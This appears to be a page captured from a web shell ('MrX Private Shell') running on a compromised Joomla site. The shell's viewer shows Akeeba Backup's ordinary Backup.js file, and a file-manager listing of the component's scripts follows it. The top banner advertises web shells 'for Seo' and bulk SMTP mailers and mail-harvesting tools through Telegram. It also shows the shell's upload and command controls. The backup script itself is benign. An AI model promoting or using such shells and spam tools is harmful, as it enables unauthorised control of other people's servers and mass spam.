__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */
"use strict";

if (typeof (akeebabackup) == "undefined")
{
    var akeebabackup = {};
}

if (typeof akeebabackup.Backup == "undefined")
{
    akeebabackup.Backup = {
        tag:           "",
        backupid:      null,
        currentDomain: null,
        returnUrl:     "",
        timeoutTimer:  null,
        resumeTimer:   null,
        resume:        {
            retry:        0,
            showWarnings: 0
        }
    };
}

/**
 * Start the timer which launches the next backup step. This allows us to prevent deep nesting of AJAX calls which could
 * lead to performance issues on long backups.
 *
 * @param   waitTime  How much time to wait before starting a backup step, in msec (default: 10)
 */
akeebabackup.Backup.timer = function (waitTime)
{
    if (waitTime <= 0)
    {
        waitTime = 10;
    }

    setTimeout(akeebabackup.Backup.timerTick, waitTime);
};

/**
 * This is used by the timer() method to run the next backup step
 */
akeebabackup.Backup.timerTick = function ()
{
    try
    {
        console.log("Timer tick");
    }
    catch (e)
    {
    }

    // Reset the timer
    akeebabackup.Backup.resetTimeoutBar();
    var maxExecutionTime = Joomla.getOptions("akeebabackup.Backup.maxExecutionTime", 14);
    var runtimeBias      = Joomla.getOptions("akeebabackup.Backup.runtimeBias", 75);
    akeebabackup.Backup.startTimeoutBar(maxExecutionTime, runtimeBias);

    // Run the step
    akeebabackup.System.doAjax({
        ajax:     "step",
        tag:      akeebabackup.Backup.tag,
        backupid: akeebabackup.Backup.backupid
    }, akeebabackup.Backup.onStep, akeebabackup.Backup.onError, false);
};

/**
 * Starts the timer for the last response timer
 *
 * @param   max_allowance  Maximum time allowance in seconds
 * @param   bias           Runtime bias in %
 */
akeebabackup.Backup.startTimeoutBar = function (max_allowance, bias)
{
    var lastResponseSeconds = 0;

    akeebabackup.Backup.timeoutTimer = setInterval(function ()
    {
        lastResponseSeconds++;

        var responseTimer = document.querySelector("#response-timer div.text");

        if (responseTimer)
        {
            responseTimer.textContent = Joomla.Text._(
                "COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE").replace(
                "%s", lastResponseSeconds.toFixed(0)
            );
        }
    }, 1000);
};

/**
 * Resets the last response timer bar
 */
akeebabackup.Backup.resetTimeoutBar = function ()
{
    try
    {
        clearInterval(akeebabackup.Backup.timeoutTimer);
    }
    catch (e)
    {
    }

    var responseTimer = document.querySelector("#response-timer div.text");

    if (responseTimer)
    {
        responseTimer.textContent = Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE").replace("%s", "0");
    }
};

/**
 * Starts the timer for the last response timer
 */
akeebabackup.Backup.startRetryTimeoutBar = function ()
{
    var remainingSeconds = Joomla.getOptions("akeebabackup.Backup.resume.timeout", 10);

    akeebabackup.Backup.resumeTimer = setInterval(function ()
    {
        remainingSeconds--;
        document.getElementById(
            "akeebabackup-retry-timeout").textContent = remainingSeconds.toFixed(0);

        if (remainingSeconds === 0)
        {
            clearInterval(akeebabackup.Backup.resumeTimer);
            akeebabackup.Backup.resumeBackup();
        }
    }, 1000);
};

/**
 * Resets the last response timer bar
 */
akeebabackup.Backup.resetRetryTimeoutBar = function ()
{
    clearInterval(akeebabackup.Backup.resumeTimer);

    var timeout = Joomla.getOptions("akeebabackup.Backup.resume.timeout", 10);

    document.getElementById("akeebabackup-retry-timeout").textContent = timeout.toFixed(0);
};

/**
 * Renders the list of the backup steps
 *
 * @param   active_step  Which is the active step?
 */
akeebabackup.Backup.renderBackupSteps = function (active_step)
{
    var normal_class = "bg-success text-white";

    if (active_step == "")
    {
        normal_class = "bg-light text-dark";
    }

    document.getElementById("backup-steps").innerHTML = "";

    var backupDomains = Joomla.getOptions("akeebabackup.Backup.domains", {});

    for (var counter = 0; counter < backupDomains.length; counter++)
    {
        var element = backupDomains[counter];

        var step       = document.createElement("div");
        step.className = "mt-1 mb-1 p-1 border rounded";
        step.innerHTML = element[1];
        document.getElementById("backup-steps").appendChild(step);

        if (element[0] == active_step)
        {
            normal_class = "bg-light text-dark";
            this_class   = "bg-primary text-white";
        }
        else
        {
            var this_class = normal_class;
        }

        step.className += " " + this_class;
    }
};

/**
 * Start the backup
 */
akeebabackup.Backup.start = function ()
{
    try
    {
        console.log("Starting backup");
        console.log(data);
    }
    catch (e)
    {
    }

    // Check for AVG Link Scanner
    if (window.AVGRUN)
    {
        try
        {
            console.warn("AVG Antivirus with Link Checker detected. The backup WILL fail!");
        }
        catch (e)
        {
        }


        var r = confirm(Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING"));

        if (!r)
        {
            return false;
        }
    }

    // Hide the backup setup
    document.getElementById("backup-setup").style.display         = "none";
    // Show the backup progress
    document.getElementById("backup-progress-pane").style.display = "block";

    // Let's check if we have a password even if we didn't set it in the profile (maybe a password manager filled it?)
    var hasAngieKey = Joomla.getOptions("akeebabackup.Backup.hasAngieKey", false);

    if (hasAngieKey)
    {
        document.getElementById("angie-password-warning").style.display = "block";
    }

    // Show desktop notification
    var rightNow = new Date();
    akeebabackup.System.notification.notify(Joomla.Text._(
        "COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED") + " " + rightNow.toLocaleString());

    // Initialize steps
    akeebabackup.Backup.renderBackupSteps("");
    // Start the response timer
    var maxExecutionTime = Joomla.getOptions("akeebabackup.Backup.maxExecutionTime", 14);
    var runtimeBias      = Joomla.getOptions("akeebabackup.Backup.runtimeBias", 75);
    akeebabackup.Backup.startTimeoutBar(maxExecutionTime, runtimeBias);
    // Perform Ajax request
    var ajax_request = {
        // Data to send to AJAX
        "ajax":      "start",
        description: document.getElementById("backup-description").value,
        comment:     document.getElementById("comment").value
    };

    akeebabackup.System.doAjax(ajax_request, akeebabackup.Backup.onStep, akeebabackup.Backup.onError, false);

    return false;
};

/**
 * Backup step callback handler
 *
 * @param   data  Backup data received
 */
akeebabackup.Backup.onStep = function (data)
{
    try
    {
        console.log("Running backup step");
        console.log(data);
    }
    catch (e)
    {
    }

    // Update visual step progress from active domain data
    akeebabackup.Backup.renderBackupSteps(data.Domain);
    akeebabackup.Backup.currentDomain = data.Domain;

    // Update percentage display
    var percentageText = data.Progress + "%";

    var elProgress         = document.querySelector("#backup-percentage div.progress-bar");
    elProgress.style.width = data.Progress + "%";
    elProgress.setAttribute('aria-valuenow', percentageText);
    elProgress.innerHTML = percentageText;

    // Update step/substep display
    document.getElementById("backup-step").textContent    = data.Step;
    document.getElementById("backup-substep").textContent = data.Substep;

    // Do we have warnings?
    data.Warnings = data.Warnings || [];

    if (data.Warnings.length > 0)
    {
        var barClass = document.getElementById("backup-percentage").className;

        if (barClass.indexOf("bg-warning") == -1)
        {
            document.getElementById("backup-percentage").className += " bg-warning";
        }

        for (var i = 0; i < data.Warnings.length; i++)
        {
            var warning = data.Warnings[i];

            akeebabackup.System.notification.notify(
                Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING"), warning);

            var newDiv         = document.createElement("div");
            newDiv.className = 'mt-2 border-bottom pt-1 pb-1';
            newDiv.textContent = warning;
            document.getElementById("warnings-list").appendChild(newDiv);
        }

        document.getElementById("backup-warnings-panel").style.display = "block";
    }

    // Do we have errors?
    var error_message = data.Error;

    if (error_message != "")
    {
        try
        {
            console.error("Got an error message");
            console.log(error_message);
        }
        catch (e)
        {
        }

        // Uh-oh! An error has occurred.
        akeebabackup.Backup.onError(error_message);

        return;
    }

    // No errors. Good! Are we finished yet?
    if (data["HasRun"] == 1)
    {
        try
        {
            console.log("Backup complete");
            console.log(error_message);
        }
        catch (e)
        {
        }

        // Yes. Show backup completion page.
        akeebabackup.Backup.onDone();

        return;
    }

    // No. Set the backup tag
    if (akeebabackup.Backup.tag == '')
    {
        akeebabackup.Backup.tag = "backend";
    }

    // Set the backup id
    akeebabackup.Backup.backupid = data.backupid;

    // Reset the retries
    akeebabackup.Backup.resume.retry = 0;

    // How much time do I have to wait?
    var waitTime = 10;

    if (data.hasOwnProperty("sleepTime"))
    {
        waitTime = data.sleepTime;
    }

    // ...and send an AJAX command
    try
    {
        console.log("Starting tick timer with waitTime = " + waitTime + " msec");
    }
    catch (e)
    {
    }

    akeebabackup.Backup.timer(waitTime);
};

/**
 * Resume a backup attempt after an AJAX error has occurred.
 */
akeebabackup.Backup.resumeBackup = function ()
{
    // Make sure the timer is stopped
    akeebabackup.Backup.resetRetryTimeoutBar();

    // Hide error and retry panels
    document.getElementById("error-panel").style.display = "none";
    document.getElementById("retry-panel").style.display = "none";

    // Show progress and warnings
    document.getElementById("backup-progress-pane").style.display = "block";

    // Only display warnings if the saved state of warnings is true
    if (akeebabackup.Backup.resume.showWarnings)
    {
        document.getElementById("backup-warnings-panel").style.display = "block";
    }

    var rightNow = new Date();
    akeebabackup.System.notification.notify(Joomla.Text._(
        "COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME") + " " + rightNow.toLocaleString());

    // Restart the backup
    akeebabackup.Backup.timer();

    return false;
};

/**
 * Cancel the automatic resumption of a backup attempt after an AJAX error has occurred
 */
akeebabackup.Backup.cancelResume = function ()
{
    // Make sure the timer is stopped
    akeebabackup.Backup.resetRetryTimeoutBar();

    // Kill the backup
    var errorMessage = document.getElementById("backup-error-message-retry").innerHTML;
    akeebabackup.Backup.endWithError(errorMessage);

    return false;
};

/**
 * AJAX error callback
 *
 * @param   message  The error message received
 */
akeebabackup.Backup.onError = function (message)
{
    // If resume is not enabled, die.
    if (!Joomla.getOptions("akeebabackup.Backup.resume.enabled", true))
    {
        akeebabackup.Backup.endWithError(message);

        return;
    }

    // If we are past the max retries, die.
    if (akeebabackup.Backup.resume.retry >= Joomla.getOptions("akeebabackup.Backup.resume.maxRetries", 3))
    {
        akeebabackup.Backup.endWithError(message);

        return;
    }

    // Make sure the timer is stopped
    akeebabackup.Backup.resume.retry++;
    akeebabackup.Backup.resetRetryTimeoutBar();

    var resumeNotificationMessage         = Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC");
    var timeout                           = Joomla.getOptions(
        "akeebabackup.Backup.resume.timeout", 10);
    var resumeNotificationMessageReplaced = resumeNotificationMessage.replace(
        "%d", timeout.toFixed(0));
    akeebabackup.System.notification.notify(
        Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT"), resumeNotificationMessageReplaced);

    // Save display state of warnings panel
    akeebabackup.Backup.resume.showWarnings =
        (document.getElementById("backup-warnings-panel").style.display !== "none");

    // Hide progress and warnings
    document.getElementById("backup-progress-pane").style.display  = "none";
    document.getElementById("backup-warnings-panel").style.display = "none";
    document.getElementById("error-panel").style.display           = "none";

    // Setup and show the retry pane
    document.getElementById("backup-error-message-retry").textContent = message;
    document.getElementById("retry-panel").style.display              = "block";

    // Start the countdown
    akeebabackup.Backup.startRetryTimeoutBar();
};

/**
 * Terminate the backup with an error
 *
 * @param   message  The error message received
 */
akeebabackup.Backup.endWithError = function (message)
{
    // Make sure the timer is stopped
    akeebabackup.Backup.resetTimeoutBar();

    var alice_autorun = false;

    // Hide progress and warnings
    document.getElementById("backup-progress-pane").style.display  = "none";
    document.getElementById("backup-warnings-panel").style.display = "none";
    document.getElementById("retry-panel").style.display           = "none";

    // Set up the view log URL
    var logURL     = Joomla.getOptions("akeebabackup.Backup.URLs.LogURL", "");
    var viewLogUrl = logURL + "&tag=" + akeebabackup.Backup.tag;
    var aliceUrl   = Joomla.getOptions(
        "akeebabackup.Backup.URLs.AliceURL", "") + "&log=" + akeebabackup.Backup.tag;

    if (akeebabackup.Backup.backupid)
    {
        viewLogUrl = viewLogUrl + "." + encodeURIComponent(akeebabackup.Backup.backupid);
        aliceUrl   = aliceUrl + "." + encodeURIComponent(akeebabackup.Backup.backupid);
    }

    if (akeebabackup.Backup.currentDomain == "finale")
    {
        alice_autorun = true;
        aliceUrl += "&autorun=1";
    }

    document.getElementById("ab-viewlog-error").setAttribute("href", viewLogUrl);
    document.getElementById("ab-alice-error").setAttribute("href", aliceUrl);

    akeebabackup.System.notification.notify(Joomla.Text._("COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED"), message);

    // Try to send a push notification for failed backups
    akeebabackup.System.doAjax({
        "ajax":         "pushFail",
        "tag":          akeebabackup.Backup.tag,
        "backupid":     akeebabackup.Backup.backupid,
        "errorMessage": message
    }, function (msg)
    {
    });

    // Setup and show error pane
    document.getElementById("backup-error-message").textContent = message;
    document.getElementById("error-panel").style.display        = "block";

    // Do we have to automatically analyze the log?
    if (alice_autorun)
    {
        setTimeout(function ()
        {
            window.location = aliceUrl;
        }, 500);
    }
};

/**
 * Backup finished callback handler
 */
akeebabackup.Backup.onDone = function ()
{
    var rightNow = new Date();
    akeebabackup.System.notification.notify(Joomla.Text._(
        "COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED") + " " + rightNow.toLocaleString());

    // Make sure the timer is stopped
    akeebabackup.Backup.resetTimeoutBar();

    // Hide progress
    document.getElementById("backup-progress-pane").style.display = "none";

    // Show finished pane
    document.getElementById("backup-complete").style.display     = "block";
    document.getElementById("backup-warnings-panel").style.width = "100%";

    // Show correct log URL
    var logURL     = Joomla.getOptions("akeebabackup.Backup.URLs.LogURL", "");
    var viewLogUrl = logURL + "&tag=" + akeebabackup.Backup.tag;

    // If the backup completes in a single pageload the backup tag and backupid are not returned. So I need to cheat.
    if (!akeebabackup.Backup.tag)
    {
        viewLogUrl = logURL + "&latest=1";
    }
    else if (akeebabackup.Backup.backupid)
    {
        viewLogUrl = viewLogUrl + "." + encodeURIComponent(akeebabackup.Backup.backupid);
    }

    try
    {
        document.getElementById("ab-viewlog-success").setAttribute("href", viewLogUrl);
    }
    catch (e)
    {
    }

    // Proceed to the return URL if it is set

    var returnUrl = Joomla.getOptions("akeebabackup.Backup.returnUrl", akeebabackup.Backup.returnUrl);

    if (returnUrl != "")
    {
        window.location = returnUrl;
    }
};

akeebabackup.Backup.restoreDefaultOptions = function ()
{
    document.getElementById("backup-description").value =
        Joomla.getOptions("akeebabackup.Backup.defaultDescription", "");

    document.getElementById("comment").value = "ThisIsADummyStringToWorkAroundChrome";
    document.getElementById("comment").value = "";
};

akeebabackup.Backup.flipProfile = function ()
{
    // Save the description and comments
    document.getElementById("flipDescription").value = document.getElementById("backup-description").value;
    document.getElementById("flipComment").value     = document.getElementById("comment").value;

    // The timeout is necessary. The choice event is fired before the hidden SELECT element is updated. There is no
    // event after that change takes place. Therefore we need to wait a little bit for the change to take effect.
    setTimeout(function () {
        document.forms.flipForm.submit();
    }, 500);
};

akeebabackup.System.documentReady(function ()
{
    // Browser notifications: ask for permission if the feature is enabled
    akeebabackup.System.notification.askPermission();

    // Register event handlers
    akeebabackup.System.addEventListener("comAkeebaControlPanelProfileSwitch", "choice", akeebabackup.Backup.flipProfile);

    akeebabackup.System.addEventListener("comAkeebaBackupCancelResume", "click", akeebabackup.Backup.cancelResume);
    akeebabackup.System.addEventListener("comAkeebaBackupResumeBackup", "click", akeebabackup.Backup.resumeBackup);

    if (Joomla.getOptions("akeebabackup.Backup.autostart"))
    {
        // Auto-start the backup: run backup now, skip registering events for the backup start / reset buttons
        akeebabackup.Backup.start();
    }
    else
    {
        // Bind start button's click event
        akeebabackup.System.addEventListener("backup-start", "click", akeebabackup.Backup.start);
        akeebabackup.System.addEventListener("backup-default", "click", akeebabackup.Backup.restoreDefaultOptions);
    }
});

Filemanager

Name Type Size Permission Actions
Backup.js File 18.73 KB 0664
Backup.min.js File 10.27 KB 0664
Browser.js File 1018 B 0664
Browser.min.js File 647 B 0664
Configuration.js File 75.16 KB 0664
Configuration.min.js File 33.87 KB 0664
ConfigurationWizard.js File 13.3 KB 0664
ConfigurationWizard.min.js File 7.78 KB 0664
ControlPanel.js File 2.92 KB 0664
ControlPanel.min.js File 1.51 KB 0664
DatabaseFilters.js File 16.6 KB 0664
DatabaseFilters.min.js File 7.96 KB 0664
Discover.js File 614 B 0664
Discover.min.js File 326 B 0664
FileFilters.js File 31.18 KB 0664
FileFilters.min.js File 14.23 KB 0664
IncludeFolders.js File 13.03 KB 0664
IncludeFolders.min.js File 6.27 KB 0664
Log.js File 1.06 KB 0664
Log.min.js File 702 B 0664
Manage.js File 5.55 KB 0664
Manage.min.js File 3.39 KB 0664
MultipleDatabases.js File 16.75 KB 0664
MultipleDatabases.min.js File 8.19 KB 0664
RegExDatabaseFilters.js File 10.87 KB 0664
RegExDatabaseFilters.min.js File 5.49 KB 0664
RegExFileFilters.js File 11.11 KB 0664
RegExFileFilters.min.js File 5.67 KB 0664
RemoteFiles.js File 1.75 KB 0664
RemoteFiles.min.js File 876 B 0664
Restore.js File 14.35 KB 0664
Restore.min.js File 6.28 KB 0664
S3Import.js File 2.9 KB 0664
S3Import.min.js File 1.69 KB 0664
System.js File 43.92 KB 0664
System.min.js File 11.09 KB 0664
Transfer.js File 18.97 KB 0664
Transfer.min.js File 12.98 KB 0664
Upload.js File 1.11 KB 0664
Upload.min.js File 567 B 0664
WebPush.js File 11.81 KB 0664
WebPush.min.js File 7.77 KB 0664
WebPushWorker.js File 479 B 0664
WebPushWorker.min.js File 256 B 0664
Filemanager